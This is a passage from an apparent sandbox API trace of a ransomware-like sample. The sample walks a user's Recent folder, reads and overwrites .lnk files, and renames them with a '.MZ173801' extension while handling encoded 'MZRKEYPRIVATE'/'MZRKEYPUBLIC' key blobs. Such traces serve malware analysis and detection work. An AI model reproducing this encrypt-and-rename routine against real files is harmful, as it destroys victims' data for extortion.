"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk")) returned 0x20 [0148.555] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk", dwFileAttributes=0x80) returned 1 [0148.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.560] GetCurrentThreadId () returned 0xab4 [0148.560] GetCurrentThreadId () returned 0xab4 [0148.560] GetCurrentThreadId () returned 0xab4 [0148.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.561] GetCurrentThreadId () returned 0xab4 [0148.561] GetCurrentThreadId () returned 0xab4 [0148.561] GetCurrentThreadId () returned 0xab4 [0148.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.561] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.561] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.561] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5d8 [0148.561] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.561] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x5d8, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x5d8, lpOverlapped=0x0) returned 1 [0148.563] CloseHandle (hObject=0x280) returned 1 [0148.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.564] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x5d8, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x5d8, lpOverlapped=0x0) returned 1 [0148.565] CloseHandle (hObject=0x280) returned 1 [0148.571] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk.mz173801")) returned 1 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] GetCurrentThreadId () returned 0xab4 [0148.571] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af2eda, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0af2eda, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0af2eda, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="l5xkq_P4B0Vr6xH.lnk", cAlternateFileName="L5XKQ_~1.LNK")) returned 1 [0148.572] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.572] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af2eda, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0af2eda, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0af2eda, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5a1)) returned 1 [0148.572] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\l5xkq_p4b0vr6xh.lnk")) returned 0x20 [0148.572] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l5xkq_P4B0Vr6xH.lnk", dwFileAttributes=0x80) returned 1 [0148.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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